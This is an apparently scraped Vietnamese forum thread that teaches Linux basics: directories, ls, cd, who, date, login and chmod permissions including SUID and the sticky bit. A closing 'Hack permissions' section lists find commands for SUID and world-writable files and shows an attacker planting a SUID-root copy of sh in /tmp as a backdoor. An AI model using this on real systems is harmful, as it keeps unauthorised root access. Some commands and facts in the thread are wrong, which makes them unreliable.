- Không phải là thư mục hiện hành

Tương tự như với mkdir, bạn cũng có thể xóa 1 thư mục không phải trong thư mục hiện hành bằng cách ghi đường dẫn của thư mục đó.

Ví dụ :


Code:
[niit@linuxpc1 niit]$ rmdir /tmp/ceme
[niit@linuxpc1 niit]$ _
- Hiển thị nội dung trong một thư mục : Sử dụng lệnh ls ( Đây là một trong những lệnh được sử dụng khá nhiều trong quá trình các bạn làm quen với LINUX )

Lệnh này sẽ hiển thị các thông tin về file, thư mục .. trong một thư mục.

Ví dụ :


Code:
[niit@linuxpc1 niit]$ ls /home/niit
program.cpp tennis Desktop
X basketball comm
[niit@linuxpc1 niit]$ _
Lệnh ls có khá nhiều tham số truyền vào, ta có thể xem thêm với man hoặc info.
Một vài tham số :
- : Ordinary file
d : Directory
b : Block special file
c : Character special file
l : symbolic link
s : socket
p : Name pipes

-a : Hiển thị tất cả các file ( cả các file ẩn )
-F : Hiển thị dạng file đi kèm với tên file ( đâu là thư mục, đâu là file )
-R : Hiển thị thư mục đặc biệt và tất cả các thư mục con
-r : Hiển thị file và các thư mục con
-S : Sắp xếp theo size
-A : Hiển thị tất cả các thư mục, trừ thư mục bắt đầu bằng . và ..
__________________

Code:
#
echo "Welcome to HVA VIETNAM"
echo "Oh yeaahhhhhh"
BÀI II

LINUX BASIC

1. Cấu trúc file trong Linux

File của Linux được chia thành những nhóm riêng biệt khác nhau và có chức năng khác nhau ( Tất nhiên ). Thư mục gốc là /, mô hình file của Linux cũng giống như mô hình file của UNIX, giờ mời các bạn xem mô hình file :




Tất cả các file đều được lưu trữ dưới một thư mục chính là / ( root ). Thư mục / bao gồm các thư mục con như bin, boot, home, usr, etc và dev. Thông thường một user sẽ làm việc ở thư mục /root/home/user1 ( với user1 = tên user ).

+ Thư mục /bin lưu trữa các utility của Linux. Chúng ở dạng mã nhị phân ( binary ).
+ Thư mục /dev lưu trữ tất cả các file của hệ thống.
+ Thư mục /etc lưu trữ dữ liệu của user mà hệ thống cần lấy ( Ví dụ điển hình là file passwd với link /etc/passwd )
+ Thư mục /lib lưu trữ thư viện dữ liệu của hệ thống, ví dụ như các thư viện của C.
+ Thư mục /home lưu trữ các thư mục con của các user.
+ Thư mục /usr lưu trữ các file của hệ điều hành nhưng ko sử dụng trong quá trình boot.Một vài utility nằm trong thư mục /bin cũng nằm trong thư mục /usr. Cần lưu ý, thư mục /usr/bin khác với thư mục /bin.
+ Thư mục /var lưu trữ các thông tin khác về các utility của Linux.

2. Quy ước đặt tên file

Tất cả các file trong hệ thống của Linux đều được đặt theo một luật nhất định bao gồm :

- Tên file có thể lớn hơn 256 ký tự.
- Có thể sử dụng các ký tự đặc biệt. Ngoại trừ ký tự "/"
- Có thể sử dụng cùng lúc chữ hoa và chữ thường trong tên file.
- Không sử dụng ký tự trắng ( blank ) hoặc khoảng cách ( tab )

3. Đường dẫn tắt

Giả sử thư mục làm việc của bạn là /home/cemetery ( Với user đăng nhập là cemetery ), khi bạn đang ở một thư mục khác, muốn quay về nhanh thư mục của bạn, bạn có thể sử dụng ~

Ví dụ như để quay về thư mục của mình, bạn dùng


Code:
$ cd /home/cemetery
hoặc


Code:
$ ~
4. Các dạng file trong Linux

Linux chia ra làm 3 dạng file :

- Ordinary files.
- Directory files.
- Special files.

+ Ordinary : Tất cả các file được tạo bởi user, bao gồm data file, program file, object file, và executable file. Một user có thể tạo hoặc chỉnh sửa file đó.

+ Directory : Linux sẽ tự động tạo một directory file khi một thư mục được tạo. File đó có trùng tên với tên của thư mục và lưu các thông tin về các file nằm trong thư mục đó. Ví dụ như thư mục /home/cemetery sẽ có directory file là cemetery và nằm trong thư mục /home. Một user không thể chỉnh sửa directory file nhưng có thể sửa tự động bởi hệ thống khi một file mới hoặc một thư mục con mới được thêm vào trong thư mục hiện hành.

+ Special : Những file hệ thống trong Linux được sét vào loại file này. Chúng sử dụng với I/O devices và không thể tìm thấy trong các thưc mục bình thường của Linux như /dev và /etc ...
Linux hỗ trợ các kiểu sau của special file :
- Character device files.
- Block device files
- Hard links
- Symbol links

+ Chú ý : Tôi không viết tiếng Việt ra, để nguyên tiếng Anh với một số khái niệm để các bạn có thể tìm hiểu thêm thông tin qua ... Google nếu như thông tin mà tôi đưa ra chưa đầy đủ.

5. Các dạng người dùng trong Linux

Linux có cách phân quyền khá độc đáo ( Mà sau này các bạn sẽ được hiểu rõ hơn khi tìm hiểu về chmod ). Các dạng người dùng được Linux hỗ trợ bao gồm :

- System Administrator
- File Owner
- Group Owner
- Other user

+ System Administrator : Là quyền dành cho người có toàn quyền với hệ thống. Trong Linux, Sys Admin cũng có thể được hiểu ngắn gọn là root ( khái niệm root nghe ..quen quá, nhẩy )

+ File Owner : Chỉ nhóm người dùng sở hữu file khi tạo ra, nhóm này có khả năng copy, delete và edit file.

+ Group Owner : Có thể set nhiều user thành 1 nhóm ( File Owner ==> Group Owner ). Một group của các user thì thường có tên giống như tên của user.

+ Other user :Tất cả các user không thuộc 3 nhóm trên nằm trong nhóm này.

DIRECTORY COMMANDS IN LINUX

Các câu lệnh trong LINUX được nhập vào và hiển thị trong "shell prompt". Câu lệnh phải được nhập dưới dạng chữ viết thường.

- Xem thư mục hiện hành : Sử dụng lệnh pwd

Ví dụ


Code:
[niit@linuxpc1 niit]$ pwd
/home/niit
[niit@linuxpc1 niit]$ _
Như ta thấy ở trên, kết quả của câu lệnh là /home/niit, vậy thư mục hiện tại là /niit, nằm trong thư mục /home

- Di chuyển đến thư mục khác : Sử dụng lệnh cd

Ví dụ :


Code:
[niit@linuxpc1 niit]$ pwd
/home/niit
[niit@linuxpc1 niit]$ cd /usr/bin
[niit@linuxpc1 bin]$ pwd
/usr/bin
[niit@linuxpc1 bin]$ _
Như ta thấy ở trên, sau khi sử dụng lệnh cd, ta kiểm tra thư mục hiện hành bằng lệnh pwd, đường dẫn của thư mục hiện hành đã được thay đổi ==> Ta đã chuyển được sang một thư mục khác.

Để quay lên một thư mục ở cấp trên, cũng như với Win, ta sẽ sử dụng lệnh cd..

Ví dụ :


Code:
[niit@linuxpc1 niit]$ cd..
[niit@linuxpc1 /home]$ pwd
/home
[niit@linuxpc1 /home]$ _[/img][img][/img][img]
DISPLAYING THE MANUAL PAGES

Linux sử dụng 2 lệnh sau để hiển thị các thông tin về câu lệnh

+ man
+ info

Để sử dụng, ta gõ câu lệnh trên và câu lệnh cần xem các chức năng, cũng như các option của lệnh. Ví dụ như


Code:
$ man ls
hoặc


Code:
$ info ls
Ta cũng có thể sử dụng "help" để xem chi tiết câu lệnh như sau


Code:
$ ls --help
Note : Khi màn hình cửa sổ dòng lệnh đã "nhiều" quá, ta có thể xóa đi ( trong Win dùng lệnh cls ) với lệnh clear

IDENTIFYING THE CURRENT USER WORKING ON THE SYSTEM

- Để xem những user đang log vào trong hệ thống, ta dùng lệnh who, khi đó, màn hình sẽ hiện ra thông báo dạng sau :


Code:
[niit@linuxpc1 niit]$ who
root tty1 Sep 21 12:29
mars pts/0 Sep 21 14:57 ( 11.6.0.13 )
kk pts/1 Sep 21 15:36 ( 11.6.0.18 )
Lưu ý : pts/7 là user đang sử dụng giao diện đồ họa.

Để biết các thông tin về máy mình đang login vào, ta dùng lệnh who am i

Kết quả sẽ ở dạng sau :


Code:
[niit@linuxpc1 niit]$ who am i
ceme pts/1 Sep 22 15:30 ( 11.6.0.15 )
DETERMINING THE UPTIME OF THE SYSTEM

Để biết được tình trạng của hệ thống, thời gian hoạt động, ta sử dụng lệnh uptime

Kết quả sẽ ở dạng như sau :


Code:
[niit@linuxpc1 niit]$ uptime
7.00pm up 56 min, 6 uers, load average: 3.51, 1.87, 1.01
Trong đó, 7.0pm là giờ hiện tại; up 56 min là thời gian hệ thống đã hoạt động; 6 users là số user đã log vào hệ thống, thông số còn lại là load trung bình của hệ thống.

SUMMARY

Trong bài này, chúng ta đã học được những khái niệm sau :

- Thế nào là hệ điều hành, các dạng của hệ điều hành
- Cách thức connect của hệ điều hành đa người dùng
- UNIX là hệ điều hành đầu tiên hỗ trợ đa người dùng
- Linux phát triển theo mô hình của UNIX
- Các thành phần cơ bản của Linux
- Đăng nhập và Thoát khỏi phiên làm việc của Linux
- Các lệnh cơ bản trong Linux ( man,info, clear, who, uptime... )

Trong Bài II, chúng ta sẽ học về LINUX BASIC bao gồm các vấn đề :

- Cấu trúc file trong Linux
- Các dạng file và người dùng
- Cấu trúc đường dẫn
- Làm việc với file và thư mục ( sao chép, xóa, chỉnh sửa, di chuyển )
- Gán quyền cho file, thư mục (chmod)
LOGGING IN AND LOGGING OUT FROM A LINUX SESSION

1. Starting a Linux session - Khởi động một phiên làm việc của Linux

Sau khi khởi động Linux, màn hình login sẽ hiển thị các thông tin dạng sau :


Code:
Fedora Core release 5 (niit)
Kernel 2.6.5 on an i686
linuxpc1 login : _
Ví dụ ở đây với FC5 và máy chủ i686.

Sau đó, nhập user vào


Code:
Fedora Core release 5 (niit)
Kernel 2.6.5 on an i686
linuxpc1 login : niit
Password :
Password của Linux không giống Win, khi gõ không hiện lên các ký tự như dấu sao hay chấm tròn ( tùy version Win ), nó chỉ là khoảng trắng. Sau khi nhập xong Password, ta gõ Enter.

Nếu đúng pass và user, màn hình sẽ hiển thị thông tin như sau :


Code:
Fedora Core release 5 (niit)
Kernel 2.6.5 on an i686
linuxpc1 login : niit
Password :
Last login : Sat Sep 18 12:28:30 from 11.6.0.105
[niit@linuxpc1 niit]$ _
Với lần login cuối vào thời gian nào và từ IP nào.Sau khi login vào, bạn sẽ ở thư mục của mình ( trong /home/thư mục của bạn ).
Nếu muốn sử dụng quyền root, bạn gõ

su

Màn hình sẽ hiện ra thông tin yêu cầu nhập Password ==> Bạn nhập pass của Root ( tương tự với Admin trong Win ) sẽ log vào được Root Permission.

Đến đây, ta đã login xong và có thể bắt đầu một phiên làm việc với Linux.

Nếu muốn change pass, ta dùng lệnh

passwd

Màn hình sẽ hiện ra :


Code:
Change password for user niit
Changing password for niit
(Current) Password :
New Password :
Retype new password :
Sau khi nhập pass hiện tại và pass muốn đổi, ta sẽ thấy thông báo


Code:
passwd: all authentication tokens update successfully
Tốt rồi, password đã được thay đổi

Trong một vài trường hợp, nếu bạn gõ sai pass hiện tại hoặc gõ sai pass thay đổi ở mục "retype", hệ thống sẽ báo lỗi và yêu cầu nhập lại.

- Để kết thúc một phiên làm việc, bạn sử dụng lệnh

exit hoặc logout hoặc bấm tổ hợp phím Ctrl D

LỆNH SỬ DỤNG CHO NGÀY GIỜ HỆ THỐNG

Từ màn hình cửa sổ dòng lệnh, ta gõ date rồi enter, trên màn hình sẽ hiện ra thông báo :


Code:
Thu Aug 12 12:56:21 IST 2005
Đây là lấy lấy đầy đủ ngày, tháng, năm, giờ, phút, giây. Nếu muốn lấy riêng từng phần một, ta phải truyền tham số vào câu lệnh date, cụ thể như sau :


Code:
%m : Hiển thị tháng trong năm
%d : Hiển thị ngày trong tháng
%y : Hiển thị năm ( 2 s ký tự )
%D : Hiển thị ngày dạng mm/dd/yy
%H : Hiển thị giờ ( từ 00 -> 23 )
%M : Hiển thị phút ( từ 00 -> 59 )
%S : Hiển thị giây ( từ 00 -> 59 )
%T : Hiển thị giờ ở dạng HH:MM:SS
%a : Hiển thị ngày từ Sun -> Sat
%h : Hiển thị tháng từ Jan -> Dec
%r : Hiển thị giờ dạng AM/PM
Ví dụ, khi ta gõ


Code:
$ date "+%T"
Màn hình sẽ hiển thị


Code:
22:47:45
Để nhìn rõ hơn, ta có thể kèm theo 1 xâu hiển thị


Code:
$ date "+DATE : %D"
Màn hình sẽ hiển thị


Code:
Date : 04/20/06
+ Lưu ý: : Lệnh date sử dụng để thay đổi ngày giờ của hệ thống. Chỉ duy nhất người quản trị mới có thể thay đổi ngày giờ.


--------------------------------------------------------------------------------

BÀI I

THE LINUX OPERATING SYSTEM : AN INTRODUCTION

1. Định nghĩa hệ điều hành

- Hệ điều hành là một chương trình phần mềm quản lý phần cứng, tài nguyên, hệ thống ..v.v. giữa hệ thống và người dùng.

2. Chức năng của hệ điều hành

- Chuyển các thao tác sang mã máy
- Điều khiển yêu cầu về bộ nhớ
- Điều khiển giao tiếp giữa thiết bị và CPU
- Quản lý tài nguyên hệ thống
- ....

3. Phân biệt hệ điều hành

- Có nhiều tiêu chí để phân biệt hệ điều hành nhưng tiêu chí thường được nhắc đến nhất là Đơn người dùng và Đa người dùng ( Single OS - Multi OS ).
- Tiêu biểu cho Single là DOS của Microsoft
- Multi OS có rất nhiều ..ví dụ như Win NT,Win 2000 server, 2003 server, Linux .v.v.

> Chú ý, cần xác định rõ đa người dùng tức là trong một thời điểm nhất định, có từ 2 người dùng trở lên sử dụng trên 1 hệ điều hành của 1 máy ( Không phải là log-out acc này và log-in bằng acc kia ).

- Với hệ điều hành đa người dùng, ta chia làm 2 loại là dumb và smart
+ Dumb : Người dùng chỉ cần màn hình và bàn phím, kết nối với máy chủ qua một bộ chia ( giá thị trường Hà Nội là 210.000 VBD/bộ - 4 cổng )
+ Smart : Có thể sử dụng thêm các thành phần khác như CPU,Harddisk .v.v

4. Lịch sử Linux

- Có thể tóm lược sơ qua như sau, Linux được viết lần đầu tiên vào năm 1991 bởi Linus Torvalds, một sinh viên của trường Đại Học Helsinki, Finland. Ông đã viết những dòng source code đầu tiên của kernel (nhân) và đặt tên là Linux.Sau đó ông đưa nhân này lên trên mạng cho mọi người dùng thử, kiểm tra lỗi, fix lỗi và ...bình phẩm. Và sau một thời gian dài, đã có rất nhiều những phiên bản của Linux ra đời trên thế giới bởi vì trên hết, nó ..free ^_^
- Ở Việt Nam, tính đến thời điểm này, có site vnlinux.org là support ổn định về Linux. Họ cũng đã cho ra đời 1 số phiên bản. Có lẽ những người dùng Linux ở Việt Nam đều không xa lạ gì với VietKey Linux, một phiên bản Linux đã từng được giải cao trong cuộc thi Trí Tuệ Việt Nam - Đáng tiếc nó mới chỉ dừng lại ở việc ... việt hóa các ứng dụng..

5. Đặc điểm của Linux

- Đa người dùng
- Time-sharing ( Thực ra, các chương trình không phải chạy song song đồng thời cùng lúc,nó chạy theo dạng ngắt quãng, ví dụ như 1/1000 của giây đầu tiên chạy chương trình A, 1/1000 tiếp theo của giây đó sẽ chạy chương trình B -> Nó làm cho ta có cảm giác 2 hay nhiều chương trình cùng chạy đồng thời )
- Multitasking ( Đa nhiệm - Làm nhiều việc cùng lúc, không như hệ điều hành DOS - đơn nhiệm )
- Virtual Memory ( bộ nhớ ảo ) : Nó là một phần của bộ nhớ vật lý , tuy nhiên, Linux hỗ trợ vấn đề sử dụng bộ nhớ vật lý để làm bộ nhớ ảo cho RAM ( hay còn được biết đến với cái tên SWAP )
- Shared Libraries : Các thư viện động của Linux ( tương tự với *.dll - dynamic library link - trong Win )
- POSIX-Compliance : Hỗ trợ hầu hết các thành phần cơ bản của hệ thống Unix.
- Samba : Hỗ trợ khả năng "connect" giữa Win và Linux. Bạn có thể xem thêm tài liệu về SAMBA tại đây ==>http://people.vnoss.org/docs/samba/ ( Tài liệu tiếng Việt )

6. Kiến trúc của Linux



7. So sánh giữa Linux và Unix

- Linux được phát triển nhưng vẫn giữa các đặc tính và theo mô hình của Linux, ở một khía cạnh nào đó, có thể coi Linux như một version khác của Unix.
- Điểm khác biệt lớn nhất giữa Linux và Unix là ở ..giá cả. Linux thì Free còn Unix thì mất tiền
- Linux cũng như Unix, có thể làm việc với nhiều ngôn ngữ lập trình như C, C++, FORTRAN, Pascal, và các ngôn ngữ kịch bản như Per, Python .v.v.
- Với các gói cài đặt thêm, Linux có thể làm việc với Apache để làm Webserver ..và tất nhiên, tất cả đều miễn phí.

- Hệ điều hành Unix cần tối thiểu 500mb ổ cứng còn trống nhưng Linux thì nhẹ nhàng hơn, chỉ cần 150Mb trống và 8Mb RAM là đủ để chạy. :cool:

8. Các "Distributor" của Linux

- Linux do đặc tính miễn phí nên được rất nhiều người, tổ chức ... phát triển, tính đến thời điểm hiện tại đã có khá nhiều phiên bản khác nhau. Chúng ta có thể kể đến ở đây một vài phiên bản nổi tiếng như :

+ Red Hat

- Red Hat là một phiên bản khá nổi tiếng của Linux, nó có rất nhiều version ...6,7,8,9 ..v..v Từ version 10 trở đi, Red Hat đổi thành Fedora Core 1. Dòng Red Hat chính thức được thương mại hóa với Red Hat Enterprise.
Bạn có thể tìm kiếm thêm thông tin tại : http://www.redhat.com

+ Mandrake

- Mandrake được nhiều người Việt Nam sử dụng bởi tính thân thiệt của sản phẩm, với hơn 2300 phần mềm và sự hỗ trợ đầy đủ từ phía phát hành.
Bạn có thể tìm kiếm thêm thông tin tại : http://www.mandrakelinux.com

+ Debian

- Debian là một trong những phiên bản sớm nhất của Linux, nó lên đến 8000 package .. Với bản cài đặt nhỏ gọn, chỉ tốn có 100mb .. Nhưng với bản full đầy đủ, nếu burn ra đĩa CD thì con số lên đến .... 16 đĩa CD...
Bạn có thể tìm kiếm thêm thông tin tại : http://www.debian.org

+ SuSE

- SuSE là một phiên bản của người Đức phát triển. nó hỗ trợ người dùng tương đối tốt.Là phiên bản sử dụng StarOffice (Private Edittion) và Word Perfect(Private Edittion).
Bạn có thể tìm kiếm thêm thông tin tại : http://www.suse.com

+ Slackware

- Slackware là một phiên bản khá phổ biến của Linux.Nó xây dựng trên nhân kernel 2.4 và thư viện GNU C 2.3.2(libc6). Phiên bản này cài đặt rất dễ dàng.
Bạn có thể tham khảo thêm thông tin tại : http://www.slackware.com

....

Còn rất nhiều phiên bản khác của Linux, nếu muốn tìm hiểu thêm, các bạn có thể lên google, tìm kiếm với từ khóa "Distributors of Linux"
Hixx. Hôm nay không biết post gì. Lục tung cái máy có đc baì này. Nếu có ai post rồi thì cho em xin.

Bài viết này sẽ giúp bạn hiểu rõ về cách đặt quyền cho files trong môi trường Unix*(Linux*)! Chúng ta hãy bắt đầu!

Unix* coi mọi thứ đều là file!

Mọi thứ từ file, directory, device, socket,... Unix đều coi chúng là files! Hãy nhớ lấy điều này!

Những gì bạn phải nhớ!

Trước khi đi vào phần chính, tôi muốn bạn PHẢI ghi nhớ lấy các quyền sau:

4 -> Read - đọc
2 -> Write - viết
1 -> Execute - thực thi

4000 -> SUID - Set User ID on execution
2000 -> SGID - Set Group ID on execution
1000 -> Sticky Bit

(Tôi sẽ giải thích chi tiết cho các bạn sau!)

Các thuộc tính của 1 file

Cũng giống như MS-DOS, bất kì file nào trên Unix đều có các thuộc tính-attributes. Cấu trúc của 1 attribute trong Unix bao gồm 10 cờ-flags:

ft ur uw ux gr gw gx or ow ox

ft - file type: cho biết file thuộc loại gì. File type có thể là -(file bình thường), d(directory), l(symbolic link), c(character device), b(block device), socket device).
các chữ viết tắc:
u=user, g=group, o=other
r=read, w=write, e=execute
+=đặt, -=gỡ bỏ
user(người dùng), group(nhóm) và other(những người khác) sẽ có các quyền hạn khác nhau trên một file nào đó. Quyền này chỉ có thể do người sở hữu file(onwer) hoặc root(admin) đặt thôi!

Hãy nhìn qua các ví dụ sau, bạn sẽ hiểu được thôi!

-rw-r--r-- 1 huy 2520 Jan 9 09:46 .plan
lrwxrwxrwx 1 root 9 Oct 1 19:42 .rhosts -> /dev/null
drwx------ 4 anh 4096 Jan 9 10:29 bin/
-rw------- 1 anh 1349 Jan 6 14:49 header.file.2

.plan là một file(-) thuộc quyền sở hữu của user huy. huy có quyền đọc và viết đối với file .plan(rw). Nhóm mà huy là một thành viên chỉ có quyền đọc file này(r--). Những người khác cũng chỉ có quyền đọc file .plan của huy thôi(r--)!
.rhosts là một liên kết đến /dev/null(l)(liên kết trong Unix cũng gần tương tự như shortcut trong Windows thôi! Chắc bạn có thể hình dung ra được chứ!). .rhosts thuộc quyền sở hữu của root. root(uid=0), root group(gid=0) và những người khác(other) đều có quyền đọc, viết, ghi, thực thi trên liên kết .rhosts(rwxrwxrwx)!
header.file.2 là một file(-) thuộc quyền sở hữu của user anh. anh có chỉ quyền đọc và ghi(rw-), những người khác(dĩ nhiên là ngoại trừ root và root-group) đều không có quyền gì cả trên file này(------)!
Đặt quyền cho file bằng lệnh chmod

chmod cho phép đặt quyền theo 2 cách: một là dùng các kí tự, hai là dùng số!

Dùng kí tự:
dấu "+" nghĩa là đặt, dấu "-" nghĩa là gỡ bỏ quyền! Ví dụ tôi có một file 'readme' có permission là -rw-r--r--(nghĩa là tôi(user) có quyền đọc và ghi đối với file này wr-, nhóm của tôi và nhũng người khác chỉ có thể đọc nó r-- và r--). Bây giờ tôi muốn cho nhóm tôi và những người khác có thêm quyền thực thi file này:

chmod go+x readme

Permission của file readme sẽ là -rw-r-xr-x

Giờ thì tôi lại đổi ý, tôi muốn nhóm của tôi có thêm quyền ghi đối với file 'readme' của tôi và những người khác chỉ có quyền thực thi:

chmod g+w readme
chmod o-r readme

Permission của file readme sẽ là -rw-rwx--x

Dùng số:
4 -> Read - đọc
2 -> Write - ghi
1 -> Execute - thực thi

Bạn cần đặt quyền gì thứ cứ cộng các giá trị này lại với nhau. Ví dụ 4+2=6 tức là đọc và ghi; 4+1=5 tức là đọc và thực thi; 4+2+1=7 nghĩa là đọc, ghi và thực thi; 0 nghĩa là không có quyền gì hết...!

user group other

Số thứ nhất cho user
Số thứ nhất cho group
Số thứ nhất cho other

Ví dụ:

chmod 744 a -> user có quyền đọc, ghi, thực thi a rwx(4+2+1=7); group và other chỉ có quyền đọc và ghi a rw-(4)
chmod 755 hello.pl -> user có quyền đọc, ghi, thực thi hello.pl rwx(4+2+1=7); group và other chỉ có quyền đọc và thực thi hello.pl r-x(4+1=5)

Nói thêm: chmod cho phép bạn đặt quyền cho nhiều file cùng một lúc. Bạn có thể dùng các kí tự đại diện chảng hạn như *, .... Tham số -R (viết tắc của từ recursive - đệ qui) dùng để đặt quyền cho tất cả các file và thư mục cấp dưới!(à quyên, tôi phải nói là file mới phải chứ!)

[root@localhost cgi-bin]$chmod -R 755 * -> đặt quyền "rwxr-x-r-x" cho tất cả các files trong thư mục cgi-bin và các thư mục con của cgi-bin. Tuy nhiên, lệnh này sẽ không đặt quyền "rwxr-x-r-x" cho các file bắt đầu bằng dấu chấm '.' Để đặt quyền "rwxr-x-r-x" cho các file này, bạn gõ thêm lệnh sau:

[root@localhost cgi-bin]$chmod -R 755 .* -> Okay!

SUID, SGID, Sticky bit là gì?

Tôi sẽ giải thích cho bạn bây giờ! Không khó hiểu lắm đâu..!

user group other

Số thứ 0 chính là để dùng cho SUID, SGID và Sticky bit!

SUID -> 4000
SGID -> 2000
Sticky bit -> 1000

(Xin bạn chú ý, 3 số sau tôi cho bằng 000 hết vì chúng ta không quan tâm đến user, group, other. Chúng ta chỉ để ý đến số thứ 0 thôi! Bạn đừng có nhầm lẫn giữa 4000 với 4 nghe chưa!)

SUID - Set User ID on execution là gì? Tôi giải thích rõ cho bạn qua ví dụ sau: user huy có một file chương trình có tên là lamviec. Để có thể chạy được, lamviec phải truy cập đến vài thứ trong file dulieu. File dulieu thuộc quyền sở hữu của huy. Như vậy thì huy có thể chạy được lamviec mà không gặp phải vấn đề gì. Tuy nhiên, bây giờ nếu có một người bạn của huy là anh không ở cùng nhóm với huy cần chạy file lamviec! anh sẽ không thể nào chạy được file lamviec bởi vì nó cần truy cập đến file dulieu của huy, mà file này lại không thuộc quyền sở hữu của anh. huy sẽ chmod o+wr cho file dulieu! Làm như vậy thì người khác sẽ đọc và ghi được file này răng! Hihi, huy sẽ SUID cho file lamviec bằng lệnh chmod +s lamviec. Bây giờ thì lamviec sẽ chạy với userid là huy, anh có thể chạy được file lamviec mà không gặp phải vấn đề gì. Tuy nhiên anh chỉ có thể đọc hoặc viết vào file dulieu thông qua lamviec. anh không thể nào có thể đọc hoặc ghi lên file dulieu trực tiếp trừ phi anh có quyền root!

SGID - Set User ID on execution là gì? Nghĩa là đặt thuộc tính thừa kế groupid cho một thư mục nào đó. Ví dụ, khi tôi đã sgid cho thư mục abc bằng lệnh chmod 2766 abc thì sau đó, bất kì một người này dù cùng group-id hoặc khác group-id với tôi nếu tạo file nào đó trong thư mục abc của tôi thì file đó sẽ có group-id của tôi, không phải là group-id của người đó!

Sticky bit - cái này có ý nghĩa khác nhau đối với file và thư mục:

Đối với file, sticky bit thường chỉ được dùng với các thực thi thôi và thường thì chỉ có root hoặc các users có quyền hạn cao mới được bật hay tẳt sticky bit cho file! Khi một file thực thi có sticky bit được bật, file này sẽ được nạp vào swap-space(không gian swap) của Unix để có thể chạy nhanh. Bạn hãy để ý, các chương trình như vi, vim, pico, pine thường được bật sticky bit vì người dùng thường sử dụng các chương trình này thường xuyên mà!

Đối với thư mục, khi một thư mục được bật sticky bit thì các users có thể đọc hoặc viết vào các file trong thư mục đó. Tuy nhiên, họ không thể đổi tên hoặc xóa các file không thuộc quyền sở hữu của họ. Họ chỉ có thể xóa hoặc đổi tên các file do họ tạo ra mà thôi. Thường thì sticky bit được dùng trong thư mục /tmp nhằm tăng thêm tính private cho các users!
Hack permissions!

Đôi khi admin hoặc một số users cẩu thả khi đặt quyền cho các files của họ. Họ đã tự mang họa vào thân mà chẳng hay gì hết!? Hãy xem các ví dụ sau:

Tìm tất cả các file thuộc quyền sở hữu của root đã được bật sticky bit: $> find / -user root -perm -4000 -ls
Tìm tất cả các file được quyền ghi: $> find -type f -perm -2 -ls
Tìm tất cả các thư mục được quyền ghi: $> find -type d -perm -2 -ls
Một số hackers sau khi đã lấy được quyền root rồi thường kéo file sh vào thư mục /tmp/somewhere, sau đó bật sticky bit cho file này để Unix* nạp nó lên swap-space. Như vậy nó sẽ chẳng bao gì bị xóa cho đến khi server bị restart lại mà điều này thì hiếm khi xảy ra! Khi muốn hackers có thể ghé thăm lại server này cho vui!

#> cp /sbin/sh /tmp/somewhere/yeah
#> chmod 4755 /tmp/somewhere/yeah

Qua bài này tôi hi vọng rằng bạn sẽ có thêm một số kiến thức mới và dĩ nhiên là hiểu được sự phân quyền trên Unix*. Chúc bạn thành công! Oh! I can relax now...?!

Back

--------------------------------------------------------------------------------
 
Go to Page:  First Page Page 17 18 19 20

Powered by JForum - Extended by HVAOnline
 hvaonline.net  |  hvaforum.net  |  hvazone.net  |  hvanews.net  |  vnhacker.org
1999 - 2013 © v2012|0504|218|